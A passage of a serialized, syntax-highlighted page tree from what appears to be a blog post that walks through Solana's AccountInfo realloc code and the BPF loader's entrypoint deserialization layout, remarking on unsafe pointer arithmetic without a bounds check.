",{"type":23,"tag":481,"props":11533,"children":11534},{"style":497},[11535],{"type":28,"value":6322},{"type":23,"tag":481,"props":11537,"children":11538},{"style":514},[11539],{"type":28,"value":7301},{"type":23,"tag":481,"props":11541,"children":11542},{"style":497},[11543],{"type":28,"value":7139},{"type":23,"tag":481,"props":11545,"children":11546},{"style":943},[11547],{"type":28,"value":3336},{"type":23,"tag":481,"props":11549,"children":11550},{"style":525},[11551],{"type":28,"value":642},{"type":23,"tag":481,"props":11553,"children":11554},{"style":514},[11555],{"type":28,"value":199},{"type":23,"tag":481,"props":11557,"children":11558},{"style":610},[11559],{"type":28,"value":11389},{"type":23,"tag":481,"props":11561,"children":11562},{"style":525},[11563],{"type":28,"value":618},{"type":23,"tag":481,"props":11565,"children":11566},{"style":551},[11567],{"type":28,"value":1558},{"type":23,"tag":481,"props":11569,"children":11570},{"style":525},[11571],{"type":28,"value":598},{"type":23,"tag":481,"props":11573,"children":11574},{"style":497},[11575],{"type":28,"value":6322},{"type":23,"tag":481,"props":11577,"children":11578},{"style":943},[11579],{"type":28,"value":3336},{"type":23,"tag":481,"props":11581,"children":11582},{"style":525},[11583],{"type":28,"value":598},{"type":23,"tag":481,"props":11585,"children":11586},{"style":497},[11587],{"type":28,"value":6322},{"type":23,"tag":481,"props":11589,"children":11590},{"style":514},[11591],{"type":28,"value":7301},{"type":23,"tag":481,"props":11593,"children":11594},{"style":497},[11595],{"type":28,"value":1259},{"type":23,"tag":481,"props":11597,"children":11598},{"style":943},[11599],{"type":28,"value":3336},{"type":23,"tag":481,"props":11601,"children":11602},{"style":525},[11603],{"type":28,"value":1366},{"type":23,"tag":481,"props":11605,"children":11606},{"class":483,"line":1125},[11607,11611,11615,11619,11623,11627,11631],{"type":23,"tag":481,"props":11608,"children":11609},{"style":514},[11610],{"type":28,"value":5230},{"type":23,"tag":481,"props":11612,"children":11613},{"style":508},[11614],{"type":28,"value":11437},{"type":23,"tag":481,"props":11616,"children":11617},{"style":514},[11618],{"type":28,"value":517},{"type":23,"tag":481,"props":11620,"children":11621},{"style":508},[11622],{"type":28,"value":11446},{"type":23,"tag":481,"props":11624,"children":11625},{"style":497},[11626],{"type":28,"value":6308},{"type":23,"tag":481,"props":11628,"children":11629},{"style":943},[11630],{"type":28,"value":3336},{"type":23,"tag":481,"props":11632,"children":11633},{"style":525},[11634],{"type":28,"value":528},{"type":23,"tag":481,"props":11636,"children":11637},{"class":483,"line":1142},[11638],{"type":23,"tag":481,"props":11639,"children":11640},{"style":525},[11641],{"type":28,"value":879},{"type":23,"tag":481,"props":11643,"children":11644},{"class":483,"line":1159},[11645],{"type":23,"tag":481,"props":11646,"children":11647},{"emptyLinePlaceholder":15},[11648],{"type":28,"value":1210},{"type":23,"tag":481,"props":11650,"children":11651},{"class":483,"line":1172},[11652],{"type":23,"tag":481,"props":11653,"children":11654},{"style":488},[11655],{"type":28,"value":11656}," // zero-init if requested\n",{"type":23,"tag":481,"props":11658,"children":11659},{"class":483,"line":1181},[11660,11664,11669,11674,11678,11683,11687],{"type":23,"tag":481,"props":11661,"children":11662},{"style":535},[11663],{"type":28,"value":9766},{"type":23,"tag":481,"props":11665,"children":11666},{"style":508},[11667],{"type":28,"value":11668}," zero_init",{"type":23,"tag":481,"props":11670,"children":11671},{"style":514},[11672],{"type":28,"value":11673}," &&",{"type":23,"tag":481,"props":11675,"children":11676},{"style":508},[11677],{"type":28,"value":11446},{"type":23,"tag":481,"props":11679,"children":11680},{"style":514},[11681],{"type":28,"value":11682}," >",{"type":23,"tag":481,"props":11684,"children":11685},{"style":508},[11686],{"type":28,"value":11276},{"type":23,"tag":481,"props":11688,"children":11689},{"style":525},[11690],{"type":28,"value":809},{"type":23,"tag":481,"props":11692,"children":11693},{"class":483,"line":1204},[11694,11699],{"type":23,"tag":481,"props":11695,"children":11696},{"style":610},[11697],{"type":28,"value":11698}," sol_memset",{"type":23,"tag":481,"props":11700,"children":11701},{"style":525},[11702],{"type":28,"value":988},{"type":23,"tag":481,"props":11704,"children":11705},{"class":483,"line":1213},[11706,11710,11714,11718,11722,11726,11730,11734,11738,11743,11747],{"type":23,"tag":481,"props":11707,"children":11708},{"style":514},[11709],{"type":28,"value":5163},{"type":23,"tag":481,"props":11711,"children":11712},{"style":497},[11713],{"type":28,"value":1259},{"type":23,"tag":481,"props":11715,"children":11716},{"style":497},[11717],{"type":28,"value":11285},{"type":23,"tag":481,"props":11719,"children":11720},{"style":514},[11721],{"type":28,"value":199},{"type":23,"tag":481,"props":11723,"children":11724},{"style":610},[11725],{"type":28,"value":11362},{"type":23,"tag":481,"props":11727,"children":11728},{"style":525},[11729],{"type":28,"value":11367},{"type":23,"tag":481,"props":11731,"children":11732},{"style":514},[11733],{"type":28,"value":670},{"type":23,"tag":481,"props":11735,"children":11736},{"style":525},[11737],{"type":28,"value":1269},{"type":23,"tag":481,"props":11739,"children":11740},{"style":508},[11741],{"type":28,"value":11742},"orig_len",{"type":23,"tag":481,"props":11744,"children":11745},{"style":514},[11746],{"type":28,"value":559},{"type":23,"tag":481,"props":11748,"children":11749},{"style":525},[11750],{"type":28,"value":11751},"],\n",{"type":23,"tag":481,"props":11753,"children":11754},{"class":483,"line":1222},[11755,11760],{"type":23,"tag":481,"props":11756,"children":11757},{"style":551},[11758],{"type":28,"value":11759}," 0",{"type":23,"tag":481,"props":11761,"children":11762},{"style":525},[11763],{"type":28,"value":1033},{"type":23,"tag":481,"props":11765,"children":11766},{"class":483,"line":1291},[11767,11772,11776,11781,11785,11789],{"type":23,"tag":481,"props":11768,"children":11769},{"style":508},[11770],{"type":28,"value":11771}," new_len",{"type":23,"tag":481,"props":11773,"children":11774},{"style":514},[11775],{"type":28,"value":199},{"type":23,"tag":481,"props":11777,"children":11778},{"style":610},[11779],{"type":28,"value":11780},"saturating_sub",{"type":23,"tag":481,"props":11782,"children":11783},{"style":525},[11784],{"type":28,"value":618},{"type":23,"tag":481,"props":11786,"children":11787},{"style":508},[11788],{"type":28,"value":11742},{"type":23,"tag":481,"props":11790,"children":11791},{"style":525},[11792],{"type":28,"value":4214},{"type":23,"tag":481,"props":11794,"children":11795},{"class":483,"line":1299},[11796],{"type":23,"tag":481,"props":11797,"children":11798},{"style":525},[11799],{"type":28,"value":5222},{"type":23,"tag":481,"props":11801,"children":11802},{"class":483,"line":1329},[11803],{"type":23,"tag":481,"props":11804,"children":11805},{"style":525},[11806],{"type":28,"value":879},{"type":23,"tag":481,"props":11808,"children":11809},{"class":483,"line":1337},[11810],{"type":23,"tag":481,"props":11811,"children":11812},{"emptyLinePlaceholder":15},[11813],{"type":28,"value":1210},{"type":23,"tag":481,"props":11815,"children":11816},{"class":483,"line":1369},[11817,11822],{"type":23,"tag":481,"props":11818,"children":11819},{"style":943},[11820],{"type":28,"value":11821}," Ok",{"type":23,"tag":481,"props":11823,"children":11824},{"style":525},[11825],{"type":28,"value":11826},"(())\n",{"type":23,"tag":481,"props":11828,"children":11829},{"class":483,"line":1377},[11830],{"type":23,"tag":481,"props":11831,"children":11832},{"style":525},[11833],{"type":28,"value":1443},{"type":23,"tag":24,"props":11835,"children":11836},{},[11837,11839,11845,11847,11852],{"type":28,"value":11838},"Oh. There's ",{"type":23,"tag":64,"props":11840,"children":11842},{"className":11841},[],[11843],{"type":28,"value":11844},"unsafe",{"type":28,"value":11846},". And no bounds check in sight. ",{"type":23,"tag":127,"props":11848,"children":11849},{},[11850],{"type":28,"value":11851},"And",{"type":28,"value":11853}," pointer math. That doesn't look promising...",{"type":23,"tag":31,"props":11855,"children":11857},{"id":11856},"breaking-down-realloc",[11858,11860],{"type":28,"value":11859},"Breaking down ",{"type":23,"tag":64,"props":11861,"children":11863},{"className":11862},[],[11864],{"type":28,"value":11126},{"type":23,"tag":24,"props":11866,"children":11867},{},[11868,11870,11875],{"type":28,"value":11869},"Let's pick apart this ",{"type":23,"tag":64,"props":11871,"children":11873},{"className":11872},[],[11874],{"type":28,"value":11844},{"type":28,"value":11876}," block, since there's a lot going on here.",{"type":23,"tag":435,"props":11878,"children":11880},{"className":475,"code":11879,"language":474,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[11881],{"type":23,"tag":64,"props":11882,"children":11883},{"__ignoreMap":7},[11884,11892,11979],{"type":23,"tag":481,"props":11885,"children":11886},{"class":483,"line":484},[11887],{"type":23,"tag":481,"props":11888,"children":11889},{"style":488},[11890],{"type":28,"value":11891},"// First set new length in the serialized data\n",{"type":23,"tag":481,"props":11893,"children":11894},{"class":483,"line":351},[11895,11899,11903,11907,11911,11915,11919,11923,11927,11931,11935,11939,11943,11947,11951,11955,11959,11963,11967,11971,11975],{"type":23,"tag":481,"props":11896,"children":11897},{"style":497},[11898],{"type":28,"value":9274},{"type":23,"tag":481,"props":11900,"children":11901},{"style":508},[11902],{"type":28,"value":11345},{"type":23,"tag":481,"props":11904,"children":11905},{"style":514},[11906],{"type":28,"value":517},{"type":23,"tag":481,"props":11908,"children":11909},{"style":497},[11910],{"type":28,"value":11285},{"type":23,"tag":481,"props":11912,"children":11913},{"style":514},[11914],{"type":28,"value":199},{"type":23,"tag":481,"props":11916,"children":11917},{"style":610},[11918],{"type":28,"value":11362},{"type":23,"tag":481,"props":11920,"children":11921},{"style":525},[11922],{"type":28,"value":11367},{"type":23,"tag":481,"props":11924,"children":11925},{"style":514},[11926],{"type":28,"value":647},{"type":23,"tag":481,"props":11928,"children":11929},{"style":610},[11930],{"type":28,"value":11376},{"type":23,"tag":481,"props":11932,"children":11933},{"style":525},[11934],{"type":28,"value":11367},{"type":23,"tag":481,"props":11936,"children":11937},{"style":514},[11938],{"type":28,"value":199},{"type":23,"tag":481,"props":11940,"children":11941},{"style":610},[11942],{"type":28,"value":11389},{"type":23,"tag":481,"props":11944,"children":11945},{"style":525},[11946],{"type":28,"value":618},{"type":23,"tag":481,"props":11948,"children":11949},{"style":514},[11950],{"type":28,"value":1876},{"type":23,"tag":481,"props":11952,"children":11953},{"style":551},[11954],{"type":28,"value":1622},{"type":23,"tag":481,"props":11956,"children":11957},{"style":525},[11958],{"type":28,"value":598},{"type":23,"tag":481,"props":11960,"children":11961},{"style":497},[11962],{"type":28,"value":6322},{"type":23,"tag":481,"props":11964,"children":11965},{"style":514},[11966],{"type":28,"value":7301},{"type":23,"tag":481,"props":11968,"children":11969},{"style":497},[11970],{"type":28,"value":1259},{"type":23,"tag":481,"props":11972,"children":11973},{"style":943},[11974],{"type":28,"value":3336},{"type":23,"tag":481,"props":11976,"children":11977},{"style":525},[11978],{"type":28,"value":528},{"type":23,"tag":481,"props":11980,"children":11981},{"class":483,"line":531},[11982,11986,11990,11994,11998,12002,12006],{"type":23,"tag":481,"props":11983,"children":11984},{"style":514},[11985],{"type":28,"value":2120},{"type":23,"tag":481,"props":11987,"children":11988},{"style":508},[11989],{"type":28,"value":11437},{"type":23,"tag":481,"props":11991,"children":11992},{"style":514},[11993],{"type":28,"value":517},{"type":23,"tag":481,"props":11995,"children":11996},{"style":508},[11997],{"type":28,"value":11446},{"type":23,"tag":481,"props":11999,"children":12000},{"style":497},[12001],{"type":28,"value":6308},{"type":23,"tag":481,"props":12003,"children":12004},{"style":943},[12005],{"type":28,"value":3336},{"type":23,"tag":481,"props":12007,"children":12008},{"style":525},[12009],{"type":28,"value":528},{"type":23,"tag":24,"props":12011,"children":12012},{},[12013,12018],{"type":23,"tag":64,"props":12014,"children":12016},{"className":12015},[],[12017],{"type":28,"value":11362},{"type":28,"value":12019}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":7092,"props":12021,"children":12023},{"id":12022},"bpf-loader-abi",[12024],{"type":28,"value":12025},"BPF Loader ABI",{"type":23,"tag":24,"props":12027,"children":12028},{},[12029,12031,12036,12038,12051],{"type":28,"value":12030},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":64,"props":12032,"children":12034},{"className":12033},[],[12035],{"type":28,"value":11141},{"type":28,"value":12037},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":190,"props":12039,"children":12042},{"href":12040,"rel":12041},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[194],[12043,12049],{"type":23,"tag":64,"props":12044,"children":12046},{"className":12045},[],[12047],{"type":28,"value":12048},"entrypoint!",{"type":28,"value":12050}," macro",{"type":28,"value":287},{"type":23,"tag":435,"props":12053,"children":12055},{"className":475,"code":12054,"language":474,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[12056],{"type":23,"tag":64,"props":12057,"children":12058},{"__ignoreMap":7},[12059,12067,12139,12182,12234,12293,12336,12379,12386],{"type":23,"tag":481,"props":12060,"children":12061},{"class":483,"line":484},[12062],{"type":23,"tag":481,"props":12063,"children":12064},{"style":525},[12065],{"type":28,"value":12066},"#[no_mangle]\n",{"type":23,"tag":481,"props":12068,"children":12069},{"class":483,"line":351},[12070,12074,12079,12084,12089,12093,12098,12102,12106,12110,12114,12118,12123,12127,12131,12135],{"type":23,"tag":481,"props":12071,"children":12072},{"style":497},[12073],{"type":28,"value":11178},{"type":23,"tag":481,"props":12075,"children":12076},{"style":497},[12077],{"type":28,"value":12078}," unsafe",{"type":23,"tag":481,"props":12080,"children":12081},{"style":497},[12082],{"type":28,"value":12083}," extern",{"type":23,"tag":481,"props":12085,"children":12086},{"style":1805},[12087],{"type":28,"value":12088}," \"C\"",{"type":23,"tag":481,"props":12090,"children":12091},{"style":497},[12092],{"type":28,"value":11183},{"type":23,"tag":481,"props":12094,"children":12095},{"style":610},[12096],{"type":28,"value":12097}," entrypoint",{"type":23,"tag":481,"props":12099,"children":12100},{"style":525},[12101],{"type":28,"value":618},{"type":23,"tag":481,"props":12103,"children":12104},{"style":508},[12105],{"type":28,"value":5846},{"type":23,"tag":481,"props":12107,"children":12108},{"style":514},[12109],{"type":28,"value":287},{"type":23,"tag":481,"props":12111,"children":12112},{"style":514},[12113],{"type":28,"value":7301},{"type":23,"tag":481,"props":12115,"children":12116},{"style":497},[12117],{"type":28,"value":1259},{"type":23,"tag":481,"props":12119,"children":12120},{"style":943},[12121],{"type":28,"value":12122}," u8",{"type":23,"tag":481,"props":12124,"children":12125},{"style":525},[12126],{"type":28,"value":598},{"type":23,"tag":481,"props":12128,"children":12129},{"style":514},[12130],{"type":28,"value":11245},{"type":23,"tag":481,"props":12132,"children":12133},{"style":943},[12134],{"type":28,"value":3336},{"type":23,"tag":481,"props":12136,"children":12137},{"style":525},[12138],{"type":28,"value":809},{"type":23,"tag":481,"props":12140,"children":12141},{"class":483,"line":531},[12142,12146,12150,12155,12159,12164,12168,12173,12177],{"type":23,"tag":481,"props":12143,"children":12144},{"style":497},[12145],{"type":28,"value":500},{"type":23,"tag":481,"props":12147,"children":12148},{"style":525},[12149],{"type":28,"value":578},{"type":23,"tag":481,"props":12151,"children":12152},{"style":508},[12153],{"type":28,"value":12154},"program_id",{"type":23,"tag":481,"props":12156,"children":12157},{"style":525},[12158],{"type":28,"value":588},{"type":23,"tag":481,"props":12160,"children":12161},{"style":508},[12162],{"type":28,"value":12163},"accounts",{"type":23,"tag":481,"props":12165,"children":12166},{"style":525},[12167],{"type":28,"value":588},{"type":23,"tag":481,"props":12169,"children":12170},{"style":508},[12171],{"type":28,"value":12172},"instruction_data",{"type":23,"tag":481,"props":12174,"children":12175},{"style":525},[12176],{"type":28,"value":598},{"type":23,"tag":481,"props":12178,"children":12179},{"style":514},[12180],{"type":28,"value":12181},"=\n",{"type":23,"tag":481,"props":12183,"children":12184},{"class":483,"line":567},[12185,12190,12194,12198,12203,12207,12212,12216,12221,12225,12229],{"type":23,"tag":481,"props":12186,"children":12187},{"style":497},[12188],{"type":28,"value":12189}," unsafe",{"type":23,"tag":481,"props":12191,"children":12192},{"style":525},[12193],{"type":28,"value":7069},{"type":23,"tag":481,"props":12195,"children":12196},{"style":514},[12197],{"type":28,"value":7773},{"type":23,"tag":481,"props":12199,"children":12200},{"style":497},[12201],{"type":28,"value":12202},"crate",{"type":23,"tag":481,"props":12204,"children":12205},{"style":514},[12206],{"type":28,"value":1006},{"type":23,"tag":481,"props":12208,"children":12209},{"style":525},[12210],{"type":28,"value":12211},"entrypoint",{"type":23,"tag":481,"props":12213,"children":12214},{"style":514},[12215],{"type":28,"value":1006},{"type":23,"tag":481,"props":12217,"children":12218},{"style":610},[12219],{"type":28,"value":12220},"deserialize",{"type":23,"tag":481,"props":12222,"children":12223},{"style":525},[12224],{"type":28,"value":618},{"type":23,"tag":481,"props":12226,"children":12227},{"style":508},[12228],{"type":28,"value":5846},{"type":23,"tag":481,"props":12230,"children":12231},{"style":525},[12232],{"type":28,"value":12233},") };\n",{"type":23,"tag":481,"props":12235,"children":12236},{"class":483,"line":678},[12237,12242,12247,12252,12256,12260,12264,12268,12272,12276,12280,12284,12288],{"type":23,"tag":481,"props":12238,"children":12239},{"style":535},[12240],{"type":28,"value":12241}," match",{"type":23,"tag":481,"props":12243,"children":12244},{"style":514},[12245],{"type":28,"value":12246}," $",{"type":23,"tag":481,"props":12248,"children":12249},{"style":508},[12250],{"type":28,"value":12251},"process_instruction",{"type":23,"tag":481,"props":12253,"children":12254},{"style":525},[12255],{"type":28,"value":618},{"type":23,"tag":481,"props":12257,"children":12258},{"style":514},[12259],{"type":28,"value":623},{"type":23,"tag":481,"props":12261,"children":12262},{"style":508},[12263],{"type":28,"value":12154},{"type":23,"tag":481,"props":12265,"children":12266},{"style":525},[12267],{"type":28,"value":588},{"type":23,"tag":481,"props":12269,"children":12270},{"style":514},[12271],{"type":28,"value":623},{"type":23,"tag":481,"props":12273,"children":12274},{"style":508},[12275],{"type":28,"value":12163},{"type":23,"tag":481,"props":12277,"children":12278},{"style":525},[12279],{"type":28,"value":588},{"type":23,"tag":481,"props":12281,"children":12282},{"style":514},[12283],{"type":28,"value":623},{"type":23,"tag":481,"props":12285,"children":12286},{"style":508},[12287],{"type":28,"value":12172},{"type":23,"tag":481,"props":12289,"children":12290},{"style":525},[12291],{"type":28,"value":12292},") {\n",{"type":23,"tag":481,"props":12294,"children":12295},{"class":483,"line":784},[12296,12301,12306,12311,12315,12319,12323,12327,12331],{"type":23,"tag":481,"props":12297,"children":12298},{"style":943},[12299],{"type":28,"value":12300}," Ok",{"type":23,"tag":481,"props":12302,"children":12303},{"style":525},[12304],{"type":28,"value":12305},"(()) ",{"type":23,"tag":481,"props":12307,"children":12308},{"style":514},[12309],{"type":28,"value":12310},"=>",{"type":23,"tag":481,"props":12312,"children":12313},{"style":514},[12314],{"type":28,"value":12246},{"type":23,"tag":481,"props":12316,"children":12317},{"style":497},[12318],{"type":28,"value":12202},{"type":23,"tag":481,"props":12320,"children":12321},{"style":514},[12322],{"type":28,"value":1006},{"type":23,"tag":481,"props":12324,"children":12325},{"style":525},[12326],{"type":28,"value":12211},{"type":23,"tag":481,"props":12328,"children":12329},{"style":514},[12330],{"type":28,"value":1006},{"type":23,"tag":481,"props":12332,"children":12333},{"style":525},[12334],{"type":28,"value":12335},"SUCCESS,\n",{"type":23,"tag":481,"props":12337,"children":12338},{"class":483,"line":812},[12339,12344,12348,12353,12357,12361,12366,12370,12375],{"type":23,"tag":481,"props":12340,"children":12341},{"style":943},[12342],{"type":28,"value":12343}," Err",{"type":23,"tag":481,"props":12345,"children":12346},{"style":525},[12347],{"type":28,"value":618},{"type":23,"tag":481,"props":12349,"children":12350},{"style":508},[12351],{"type":28,"value":12352},"error",{"type":23,"tag":481,"props":12354,"children":12355},{"style":525},[12356],{"type":28,"value":598},{"type":23,"tag":481,"props":12358,"children":12359},{"style":514},[12360],{"type":28,"value":12310},{"type":23,"tag":481,"props":12362,"children":12363},{"style":508},[12364],{"type":28,"value":12365}," error",{"type":23,"tag":481,"props":12367,"children":12368},{"style":514},[12369],{"type":28,"value":199},{"type":23,"tag":481,"props":12371,"children":12372},{"style":610},[12373],{"type":28,"value":12374},"into",{"type":23,"tag":481,"props":12376,"children":12377},{"style":525},[12378],{"type":28,"value":1016},{"type":23,"tag":481,"props":12380,"children":12381},{"class":483,"line":825},[12382],{"type":23,"tag":481,"props":12383,"children":12384},{"style":525},[12385],{"type":28,"value":879},{"type":23,"tag":481,"props":12387,"children":12388},{"class":483,"line":843},[12389],{"type":23,"tag":481,"props":12390,"children":12391},{"style":525},[12392],{"type":28,"value":1443},{"type":23,"tag":24,"props":12394,"children":12395},{},[12396,12398,12403,12405,12411,12413,12420,12422,12428,12430,12437],{"type":28,"value":12397},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":64,"props":12399,"children":12401},{"className":12400},[],[12402],{"type":28,"value":946},{"type":28,"value":12404}," buffer in from the loader, and calls ",{"type":23,"tag":64,"props":12406,"children":12408},{"className":12407},[],[12409],{"type":28,"value":12410},"solana_program::entrypoint::deserialize",{"type":28,"value":12412},", which then ",{"type":23,"tag":190,"props":12414,"children":12417},{"href":12415,"rel":12416},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[194],[12418],{"type":28,"value":12419},"parses out",{"type":28,"value":12421}," all the ",{"type":23,"tag":64,"props":12423,"children":12425},{"className":12424},[],[12426],{"type":28,"value":12427},"AccountInfo",{"type":28,"value":12429},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":190,"props":12431,"children":12434},{"href":12432,"rel":12433},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[194],[12435],{"type":28,"value":12436},"laid out",{"type":28,"value":287},{"type":23,"tag":435,"props":12439,"children":12441},{"className":475,"code":12440,"language":474,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[12442],{"type":23,"tag":64,"props":12443,"children":12444},{"__ignoreMap":7},[12445,12462,12542,12575,12582,12630,12675,12683,12707],{"type":23,"tag":481,"props":12446,"children":12447},{"class":483,"line":484},[12448,12453,12457],{"type":23,"tag":481,"props":12449,"children":12450},{"style":525},[12451],{"type":28,"value":12452},"#[allow(clippy",{"type":23,"tag":481,"props":12454,"children":12455},{"style":514},[12456],{"type":28,"value":1006},{"type":23,"tag":481,"props":12458,"children":12459},{"style":525},[12460],{"type":28,"value":12461},"cast_ptr_alignment)]\n",{"type":23,"tag":481,"props":12463,"children":12464},{"class":483,"line":351},[12465,12469,12474,12478,12482,12486,12490,12494,12498,12502,12506,12510,12514,12518,12522,12526,12530,12534,12538],{"type":23,"tag":481,"props":12466,"children":12467},{"style":497},[12468],{"type":28,"value":9274},{"type":23,"tag":481,"props":12470,"children":12471},{"style":508},[12472],{"type":28,"value":12473}," data_len",{"type":23,"tag":481,"props":12475,"children":12476},{"style":514},[12477],{"type":28,"value":517},{"type":23,"tag":481,"props":12479,"children":12480},{"style":514},[12481],{"type":28,"value":7301},{"type":23,"tag":481,"props":12483,"children":12484},{"style":525},[12485],{"type":28,"value":618},{"type":23,"tag":481,"props":12487,"children":12488},{"style":508},[12489],{"type":28,"value":5846},{"type":23,"tag":481,"props":12491,"children":12492},{"style":514},[12493],{"type":28,"value":199},{"type":23,"tag":481,"props":12495,"children":12496},{"style":610},[12497],{"type":28,"value":7122},{"type":23,"tag":481,"props":12499,"children":12500},{"style":525},[12501],{"type":28,"value":618},{"type":23,"tag":481,"props":12503,"children":12504},{"style":508},[12505],{"type":28,"value":11389},{"type":23,"tag":481,"props":12507,"children":12508},{"style":525},[12509],{"type":28,"value":598},{"type":23,"tag":481,"props":12511,"children":12512},{"style":497},[12513],{"type":28,"value":6322},{"type":23,"tag":481,"props":12515,"children":12516},{"style":514},[12517],{"type":28,"value":7301},{"type":23,"tag":481,"props":12519,"children":12520},{"style":497},[12521],{"type":28,"value":7139},{"type":23,"tag":481,"props":12523,"children":12524},{"style":943},[12525],{"type":28,"value":3336},{"type":23,"tag":481,"props":12527,"children":12528},{"style":525},[12529],{"type":28,"value":598},{"type":23,"tag":481,"props":12531,"children":12532},{"style":497},[12533],{"type":28,"value":6322},{"type":23,"tag":481,"props":12535,"children":12536},{"style":943},[12537],{"type":28,"value":11219},{"type":23,"tag":481,"props":12539,"children":12540},{"style":525},[12541],{"type":28,"value":528},{"type":23,"tag":481,"props":12543,"children":12544},{"class":483,"line":531},[12545,12549,12554,12559,12563,12567,12571],{"type":23,"tag":481,"props":12546,"children":12547},{"style":508},[12548],{"type":28,"value":11389},{"type":23,"tag":481,"props":12550,"children":12551},{"style":514},[12552],{"type":28,"value":12553}," +=",{"type":23,"tag":481,"props":12555,"children":12556},{"style":610},[12557],{"type":28,"value":12558}," size_of",{"type":23,"tag":481,"props":12560,"children":12561},{"style":514},[12562],{"type":28,"value":1006},{"type":23,"tag":481,"props":12564,"children":12565},{"style":525},[12566],{"type":28,"value":3282},{"type":23,"tag":481,"props":12568,"children":12569},{"style":943},[12570],{"type":28,"value":5521},{"type":23,"tag":481,"props":12572,"children":12573},{"style":525},[12574],{"type":28,"value":5931},{"type":23,"tag":481,"props":12576,"children":12577},{"class":483,"line":567},[12578],{"type":23,"tag":481,"props":12579,"children":12580},{"emptyLinePlaceholder":15},[12581],{"type":28,"value":1210},{"type":23,"tag":481,"props":12583,"children":12584},{"class":483,"line":678},[12585,12589,12594,12598,12603,12607,12612,12617,12621,12625],{"type":23,"tag":481,"props":12586,"children":12587},{"style":497},[12588],{"type":28,"value":9274},{"type":23,"tag":481,"props":12590,"children":12591},{"style":508},[12592],{"type":28,"value":12593}," data",{"type":23,"tag":481,"props":12595,"children":12596},{"style":514},[12597],{"type":28,"value":517},{"type":23,"tag":481,"props":12599,"children":12600},{"style":943},[12601],{"type":28,"value":12602}," Rc",{"type":23,"tag":481,"props":12604,"children":12605},{"style":514},[12606],{"type":28,"value":1006},{"type":23,"tag":481,"props":12608,"children":12609},{"style":610},[12610],{"type":28,"value":12611},"new",{"type":23,"tag":481,"props":12613,"children":12614},{"style":525},[12615],{"type":28,"value":12616},"(RefCell",{"type":23,"tag":481,"props":12618,"children":12619},{"style":514},[12620],{"type":28,"value":1006},{"type":23,"tag":481,"props":12622,"children":12623},{"style":610},[12624],{"type":28,"value":12611},{"type":23,"tag":481,"props":12626,"children":12627},{"style":525},[12628],{"type":28,"value":12629},"({\n",{"type":23,"tag":481,"props":12631,"children":12632},{"class":483,"line":784},[12633,12638,12642,12646,12650,12654,12658,12662,12667,12671],{"type":23,"tag":481,"props":12634,"children":12635},{"style":610},[12636],{"type":28,"value":12637}," from_raw_parts_mut",{"type":23,"tag":481,"props":12639,"children":12640},{"style":525},[12641],{"type":28,"value":618},{"type":23,"tag":481,"props":12643,"children":12644},{"style":508},[12645],{"type":28,"value":5846},{"type":23,"tag":481,"props":12647,"children":12648},{"style":514},[12649],{"type":28,"value":199},{"type":23,"tag":481,"props":12651,"children":12652},{"style":610},[12653],{"type":28,"value":7122},{"type":23,"tag":481,"props":12655,"children":12656},{"style":525},[12657],{"type":28,"value":618},{"type":23,"tag":481,"props":12659,"children":12660},{"style":508},[12661],{"type":28,"value":11389},{"type":23,"tag":481,"props":12663,"children":12664},{"style":525},[12665],{"type":28,"value":12666},"), ",{"type":23,"tag":481,"props":12668,"children":12669},{"style":508},[12670],{"type":28,"value":11294},{"type":23,"tag":481,"props":12672,"children":12673},{"style":525},[12674],{"type":28,"value":675},{"type":23,"tag":481,"props":12676,"children":12677},{"class":483,"line":812},[12678],{"type":23,"tag":481,"props":12679,"children":12680},{"style":525},[12681],{"type":28,"value":12682},"}));\n",{"type":23,"tag":481,"props":12684,"children":12685},{"class":483,"line":825},[12686,12690,12694,12698,12702],{"type":23,"tag":481,"props":12687,"children":12688},{"style":508},[12689],{"type":28,"value":11389},{"type":23,"tag":481,"props":12691,"children":12692},{"style":514},[12693],{"type":28,"value":12553},{"type":23,"tag":481,"props":12695,"children":12696},{"style":508},[12697],{"type":28,"value":12473},{"type":23,"tag":481,"props":12699,"children":12700},{"style":514},[12701],{"type":28,"value":6385},{"type":23,"tag":481,"props":12703,"children":12704},{"style":525},[12705],{"type":28,"value":12706}," 